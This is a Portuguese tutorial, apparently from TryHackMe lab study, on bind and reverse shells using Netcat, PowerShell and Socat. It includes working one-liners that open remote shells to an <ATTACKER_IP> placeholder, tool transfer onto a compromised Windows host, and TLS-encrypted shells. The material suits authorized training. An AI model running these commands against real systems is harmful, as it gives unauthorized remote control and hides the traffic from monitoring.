Bind Shell e Reverse Shell - do Netcat ao Socat/TLS

1. Introdução

Uma shell é um programa usado para interagir com o sistema operacional por meio de comandos.

Exemplos:

Linux
├── /bin/bash
├── /bin/sh
└── zsh

Windows
├── cmd.exe
└── powershell.exe

Quando falamos em bind shell e reverse shell, estamos adicionando uma conexão de rede entre nosso terminal e essa shell.

De forma resumida:

Bind Shell
Você se conecta ao alvo.

Reverse Shell
O alvo se conecta a você.

Este material foi produzido para estudo em laboratórios autorizados, como TryHackMe. Utilize essas técnicas apenas em sistemas próprios ou ambientes para os quais exista autorização explícita.

Nos exemplos:

<ATTACKER_IP> = máquina atacante
<TARGET_IP>   = máquina alvo

2. O que acontece em uma shell remota?

A shell não é a conexão de rede. Programas como Netcat e Socat transportam a entrada e a saída da shell pela rede.

Seu terminal
     │
     │ rede
     ▼
Netcat / Socat
     │
     ▼
bash / cmd.exe / powershell.exe

Para uma conexão TCP precisamos, no mínimo, de endereço IP, porta, um lado ouvindo e outro lado iniciando a conexão.

É a posição do listener que diferencia bind de reverse shell.


3. Bind Shell x Reverse Shell

Tipo Listener Quem inicia a conexão? Fluxo
Bind Shell Alvo Atacante Attacker → Target
Reverse Shell Atacante Alvo Target → Attacker

Reverse Shell

TARGET                           ATTACKER

bash / PowerShell
       │
       └──────── TCP ───────────► listener

O atacante abre uma porta e espera. O alvo inicia a conexão e associa uma shell a ela.

Bind Shell

ATTACKER                         TARGET

cliente
   │
   └────────── TCP ─────────────► listener
                                      │
                                      ▼
                                    shell

Agora quem abre a porta e espera é o alvo.


4. Reverse Shell com Netcat

No atacante:

nc -lvnp 4444

Saída típica:

listening on 0.0.0.0 4444

Isso não significa que o Netcat travou. Ele está aguardando uma conexão.

Opções

Opção Função
-l Listen: aguarda conexão
-v Verbose: mostra mais informações
-n Não resolve DNS
-p Define a porta

Em um alvo Linux com uma versão do Netcat que suporta a opção -e:

nc <ATTACKER_IP> 4444 -e /bin/bash

Fluxo:

/bin/bash
    │
    ▼
Netcat no alvo
    │
    │ TCP
    ▼
<ATTACKER_IP>:4444
    │
    ▼
Netcat listener

A opção -e /bin/bash liga o programa /bin/bash à conexão.

Nem todas as implementações modernas do Netcat possuem a opção -e.


5. Reverse Shell no Windows sem Netcat

Uma instalação padrão do Windows não deve ser tratada como se já tivesse nc.exe ou socat.exe.

Em um laboratório, uma situação mais realista é conseguir uma primeira shell com ferramentas nativas e só depois transferir ferramentas adicionais.

No atacante:

nc -lvnp 4444

No PowerShell do alvo:

$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([Text.Encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

No atacante:

whoami
hostname

Agora já controlamos o PowerShell através da conexão TCP.


6. Bind Shell com Netcat

No bind shell o listener muda de lado.

No alvo Linux:

nc -lvnp 8080 -e /bin/bash

No atacante:

nc <TARGET_IP> 8080

Fluxo:

Attacker                      Target

nc --------------------------> nc :8080
                                  │
                                  ▼
                               /bin/bash

7. Quando usar Bind ou Reverse?

A escolha depende principalmente das regras de rede.

Em muitas redes:

Conexões de entrada  → mais restritas
Conexões de saída    → mais permitidas

Uma bind shell depende de uma conexão iniciada em direção ao alvo:

Attacker → Target

Isso pode ser bloqueado por firewall local, firewall de rede, ACL, NAT ou ausência de rota.

Uma reverse shell usa o caminho contrário:

Target → Attacker

Por isso costuma funcionar melhor em muitos cenários. Isso não significa que reverse shell sempre funciona: a rede também pode possuir filtragem de saída.


8. Testando conectividade

Antes de culpar a shell, verifique a rede.

Linux

nc -vz <TARGET_IP> 4444
ss -ltnp
ss -ltnp | grep 4443
ss -tnp

Windows

Test-NetConnection <ATTACKER_IP> -Port 4443

O campo importante é:

TcpTestSucceeded : True

9. Socat

O Socat trabalha conectando dois fluxos de dados.

ORIGEM <──────── socat ────────> DESTINO

Exemplo de listener TCP:

socat TCP-LISTEN:4444,reuseaddr STDIO

Isso significa:

TCP :4444 ←→ terminal

Também podemos encontrar a forma abreviada:

socat TCP-L:4444 -

Nesse contexto:

TCP-L = TCP Listen
-     = STDIN/STDOUT

10. Reverse Shell com Socat

No atacante:

socat TCP-LISTEN:4444,reuseaddr STDIO

No alvo Linux:

socat TCP:<ATTACKER_IP>:4444 EXEC:"bash -li"

No Windows:

socat.exe TCP:<ATTACKER_IP>:4444 EXEC:powershell.exe,pipes

A opção pipes conecta a entrada e a saída do processo através de pipes, o que é útil para cmd.exe e powershell.exe.


11. Bind Shell com Socat

No Windows alvo:

socat.exe TCP-LISTEN:8088,reuseaddr EXEC:cmd.exe,pipes

No atacante:

socat TCP:<TARGET_IP>:8088 STDIO

Fluxo:

Attacker                         Windows

STDIO
  │
socat ───────── TCP ──────────► socat.exe
                                   │
                                   ▼
                                cmd.exe

12. Cenário realista: o Windows não tem Socat

Não faz muito sentido simplesmente assumir que socat.exe já existe no Windows.

Um fluxo mais realista é:

1. conseguir uma shell inicial
2. servir o Socat pelo atacante
3. baixar o Socat através da shell já obtida
4. testar o executável
5. abrir uma nova conexão com Socat
6. abandonar a shell inicial

13. Servindo arquivos pelo Linux com Python

No atacante:

cd /root/share
python3 -m http.server 8000

Agora qualquer arquivo da pasta pode ser acessado por HTTP:

http://<ATTACKER_IP>:8000/

Exemplo:

/root/share/socat.exe
        ↓
http://<ATTACKER_IP>:8000/socat.exe

14. Baixando o Socat pela shell do Windows

Com PowerShell:

Invoke-WebRequest http://<ATTACKER_IP>:8000/socat.exe -OutFile C:WindowsTempsocat.exe

Ou:

curl.exe http://<ATTACKER_IP>:8000/socat.exe -o C:WindowsTempsocat.exe

Confirme:

Get-Item C:WindowsTempsocat.exe

Teste:

C:WindowsTempsocat.exe -V

Esse último passo é importante.


15. Erro: cygwin1.dll not found

Durante o laboratório, o primeiro socat.exe transferido não funcionou.

Ao executar:

C:WindowsTempsocat.exe -V

o Windows retornou:

cygwin1.dll not found

Alguns builds de Socat para Windows são compilados através do Cygwin.

Nesse caso:

socat.exe
   │
   ├── cygwin1.dll
   ├── DLLs OpenSSL
   └── outras dependências

Copiar somente o executável não é suficiente.

Correção

Transfira o pacote completo contendo o executável e as DLLs exigidas pelo build, mantendo as bibliotecas junto ao socat.exe.

Depois:

.socat.exe -V

deve executar normalmente.

Se a intenção for usar TLS, verifique também se o build possui suporte a OpenSSL.


16. Transferindo um ZIP completo

No atacante podemos servir:

socat.zip

No Windows:

Invoke-WebRequest http://<ATTACKER_IP>:8000/socat.zip -OutFile C:WindowsTempsocat.zip

Extraia:

Expand-Archive C:WindowsTempsocat.zip -DestinationPath C:WindowsTempsocat -Force

Confira:

Get-ChildItem C:WindowsTempsocat

E teste:

C:WindowsTempsocatsocat.exe -V

17. Upgrade de uma shell Linux com Python PTY

Uma shell obtida com Netcat normalmente possui várias limitações:

  • histórico ruim;
  • setas podem não funcionar;
  • Ctrl+C pode encerrar a conexão;
  • programas interativos podem se comportar mal;
  • job control limitado.

Primeiro descubra o tamanho do terminal local:

stty size

Exemplo:

50 220

Na shell remota:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Suspenda a sessão:

Ctrl+Z

No terminal local:

stty raw -echo
fg

Pressione Enter e, no remoto:

stty rows 50 cols 220

Ao terminar:

stty sane

Se o terminal local ficar quebrado:

reset

18. rlwrap

Outra melhoria simples:

rlwrap nc -lvnp 4444

O rlwrap adiciona recursos de edição da linha e histórico ao programa que ele envolve.

Ele não transforma Netcat em um TTY completo, mas melhora bastante a utilização.


19. Shell Linux mais completa com Socat

No atacante:

socat TCP-LISTEN:5555 FILE:$(tty),raw,echo=0

No alvo:

socat TCP:<ATTACKER_IP>:5555 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
Opção Função
pty Cria um pseudo-terminal
stderr Encaminha a saída de erro
sigint Permite tratamento de Ctrl+C
setsid Cria uma nova sessão
sane Aplica configurações normais de terminal

20. Criptografando o tráfego com TLS

Netcat normalmente transporta os dados em texto simples.

Socat pode utilizar TLS:

Shell
  │
Socat
  │
  │ TLS
  ▼
Socat
  │
Terminal

Isso protege o conteúdo da sessão durante o transporte.

TLS não transforma automaticamente a conexão em HTTPS. O tráfego está criptografado com TLS, mas não passa a ser uma sessão HTTP apenas por utilizar uma porta como 443.


21. Criando um certificado

No atacante:

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt

Depois:

cat shell.key shell.crt > shell.pem

Verifique:

grep BEGIN shell.pem

O PEM utilizado dessa forma deve conter a chave privada e o certificado.


22. Reverse Shell criptografada com Socat

No reverse shell TLS, o atacante fica ouvindo.

No atacante:

socat OPENSSL-LISTEN:4443,cert=/root/share/shell.pem,verify=0,reuseaddr STDIO

O terminal pode parecer parado. Isso é normal: o Socat está aguardando uma conexão.

Para visualizar:

socat -d -d OPENSSL-LISTEN:4443,cert=/root/share/shell.pem,verify=0,reuseaddr STDIO

No Windows:

C:WindowsTempsocatsocat.exe OPENSSL:<ATTACKER_IP>:4443,verify=0 EXEC:powershell.exe,pipes

Fluxo:

WINDOWS                         LINUX

powershell.exe
      ▲
      │
  socat.exe
      │
      │ TLS
      ▼
<ATTACKER_IP>:4443
      │
    socat
      │
    STDIO

23. Quem precisa do certificado?

Regra simples:

Quem executa OPENSSL-LISTEN precisa ter o certificado e a chave.

Reverse TLS

ATTACKER
OPENSSL-LISTEN
      ↓
precisa de shell.pem

Bind TLS

TARGET
OPENSSL-LISTEN
      ↓
precisa de shell.pem

24. Bind Shell criptografada

Primeiro transfira o certificado para o alvo.

No Windows:

Invoke-WebRequest http://<ATTACKER_IP>:8000/shell.pem -OutFile C:WindowsTempshell.pem

Abra o listener TLS no Windows:

C:WindowsTempsocatsocat.exe OPENSSL-LISTEN:8443,cert=C:WindowsTempshell.pem,verify=0,reuseaddr EXEC:cmd.exe,pipes

No atacante:

socat OPENSSL:<TARGET_IP>:8443,verify=0 STDIO

Fluxo:

Attacker ───── TLS ─────► Target
                          OPENSSL-LISTEN
                                │
                                ▼
                              cmd.exe

25. Migrando de Netcat para Socat

Fluxo inicial:

Windows
   │
PowerShell
   │
   └──────── TCP :4444 ───────► nc
                                 Linux

Pela shell inicial:

Invoke-WebRequest http://<ATTACKER_IP>:8000/socat.zip -OutFile C:WindowsTempsocat.zip
Expand-Archive C:WindowsTempsocat.zip -DestinationPath C:WindowsTempsocat -Force
C:WindowsTempsocatsocat.exe -V

No atacante:

socat OPENSSL-LISTEN:4443,cert=/root/share/shell.pem,verify=0,reuseaddr STDIO

Pela shell antiga:

C:WindowsTempsocatsocat.exe OPENSSL:<ATTACKER_IP>:4443,verify=0 EXEC:powershell.exe,pipes

Agora:

Windows
PowerShell
   ↑
   │
socat.exe
   │
   │ TLS
   ▼
socat :4443
Linux

Depois de confirmar que a nova shell funciona, a conexão antiga pode ser encerrada.


26. Troubleshooting

Listener parece travado

socat OPENSSL-LISTEN:4443,...

Nenhuma saída aparece.

Normalmente significa apenas:

LISTEN
↓
aguardando conexão

Confirme:

ss -ltnp | grep 4443

Ou use:

socat -d -d OPENSSL-LISTEN:4443,...

Connection refused

Normalmente significa que o IP respondeu, mas não há serviço ouvindo naquela porta.

ss -ltnp

Timeout

Pode indicar IP incorreto, máquina desligada, rota inexistente, firewall ou porta filtrada.

Windows:

Test-NetConnection <ATTACKER_IP> -Port 4443

Linux:

nc -vz <TARGET_IP> 4443

Address already in use

Algum processo já está utilizando a porta.

ss -ltnp | grep 4443

Encerre o processo correto ou escolha outra porta.

Socat fecha imediatamente no Windows

Use debug:

socat.exe -d -d -d ...
socat.exe -V

Se ele nem iniciar, verifique dependências.

cygwin1.dll not found

O build utilizado depende do Cygwin. Não basta copiar apenas o executável; também são necessárias as DLLs exigidas pelo build.

TCP funciona, TLS não funciona

Isole o problema usando TCP simples.

Atacante:

socat TCP-LISTEN:4444,reuseaddr STDIO

Windows:

socat.exe TCP:<ATTACKER_IP>:4444 EXEC:powershell.exe,pipes

Se TCP funcionar e TLS não, investigue suporte OpenSSL, certificado, caminho do PEM, DLLs e parâmetros TLS.

Certificate verify failed

Em um laboratório com certificado autoassinado e sem validação de CA, a opção:

verify=0

precisa estar configurada conforme o cenário.


27. Fluxo completo

                ATTACKER

                   │
           nc -lvnp 4444
                   ▲
                   │ TCP
                   │
                Windows
              PowerShell
                   │
              shell inicial

──────────────────────────────────

Attacker:

python3 -m http.server 8000
        │
        │ HTTP
        ▼

Windows:

Invoke-WebRequest
        │
        ▼
socat.exe + DLLs

──────────────────────────────────

Attacker:

socat OPENSSL-LISTEN:4443
        ▲
        │ TLS
        │

Windows:

socat.exe
        ▲
        │
powershell.exe

──────────────────────────────────

Resultado:

Windows
   ⇅
Socat
   ⇅
TLS
   ⇅
Socat
   ⇅
Attacker

28. Bind x Reverse - resumo

Característica Bind Reverse
Listener Target Attacker
Cliente Attacker Target
Direção inicial Attacker → Target Target → Attacker
Depende de inbound no alvo Sim Normalmente não
Pode sofrer com firewall inbound Muito Menos
Pode sofrer com firewall outbound Menos Sim
Uso comum Situações específicas Muito comum

29. Siglas

Sigla Significado Explicação
IP Internet Protocol Endereço da máquina
TCP Transmission Control Protocol Protocolo orientado a conexão
UDP User Datagram Protocol Protocolo sem conexão
DNS Domain Name System Resolve nomes para IP
SSL Secure Sockets Layer Tecnologia criptográfica antiga
TLS Transport Layer Security Sucessor moderno do SSL
PTY Pseudo Terminal Terminal virtual
TTY Teletype/Terminal Interface de terminal Unix
STDIN Standard Input Entrada padrão
STDOUT Standard Output Saída padrão
STDERR Standard Error Saída de erros
RDP Remote Desktop Protocol Desktop remoto Windows
DLL Dynamic-Link Library Biblioteca dinâmica do Windows
PE Portable Executable Formato de executável Windows
RSA Rivest-Shamir-Adleman Algoritmo criptográfico
CSR Certificate Signing Request Solicitação de certificado
CA Certificate Authority Autoridade certificadora
NAT Network Address Translation Tradução de endereços
ACL Access Control List Lista de regras de acesso
I/O Input/Output Entrada e saída

30. Tabela de comandos

Comando Função
nc -lvnp 4444 Listener Netcat
nc IP PORTA Conecta via Netcat
nc -vz IP PORTA Testa uma porta TCP
socat TCP-LISTEN:4444 STDIO Listener TCP Socat
socat TCP:IP:4444 STDIO Cliente TCP Socat
EXEC:/bin/bash Executa Bash
EXEC:cmd.exe,pipes Executa CMD através de pipes
EXEC:powershell.exe,pipes Executa PowerShell
socat -V Mostra versão e recursos compilados
socat -d -d Ativa diagnóstico
ss -ltnp Mostra listeners TCP
ss -tnp Mostra conexões TCP
Test-NetConnection IP -Port N Testa TCP no Windows
python3 -m http.server 8000 Servidor HTTP simples
Invoke-WebRequest URL -OutFile FILE Baixa arquivo no PowerShell
curl.exe URL -o FILE Baixa arquivo no Windows
wget URL -O FILE Baixa arquivo no Linux
chmod +x FILE Torna arquivo executável
stty size Mostra linhas e colunas do terminal
stty raw -echo Coloca terminal em modo raw
stty sane Restaura terminal
reset Reinicializa o terminal
rlwrap nc ... Adiciona edição/histórico ao Netcat
openssl req ... Gera chave/certificado
cat key crt > shell.pem Junta chave e certificado
OPENSSL-LISTEN Socat como servidor TLS
OPENSSL:IP:PORTA Socat como cliente TLS
verify=0 Desabilita validação de certificado no laboratório
reuseaddr Permite reutilização do endereço
pty Aloca pseudo-terminal
stderr Encaminha erros
sigint Permite sinais como Ctrl+C
setsid Cria nova sessão
sane Configura terminal em modo normal

31. Regra para memorizar

BIND
Listener = TARGET

Attacker ─────────────► Target
                       listener
                          │
                        shell


REVERSE
Listener = ATTACKER

Attacker ◄───────────── Target
listener                  │
                        shell


REVERSE TLS
Attacker ◄══════ TLS ═══ Target
  socat                 socat.exe
    │                       │
 terminal              PowerShell

Para Socat com TLS:

OPENSSL-LISTEN
      =
lado que ESCUTA
      =
lado que precisa do shell.pem

Se essa lógica estiver clara, fica muito mais fácil entender bind, reverse, listener, cliente, porta, certificado e direção da conexão.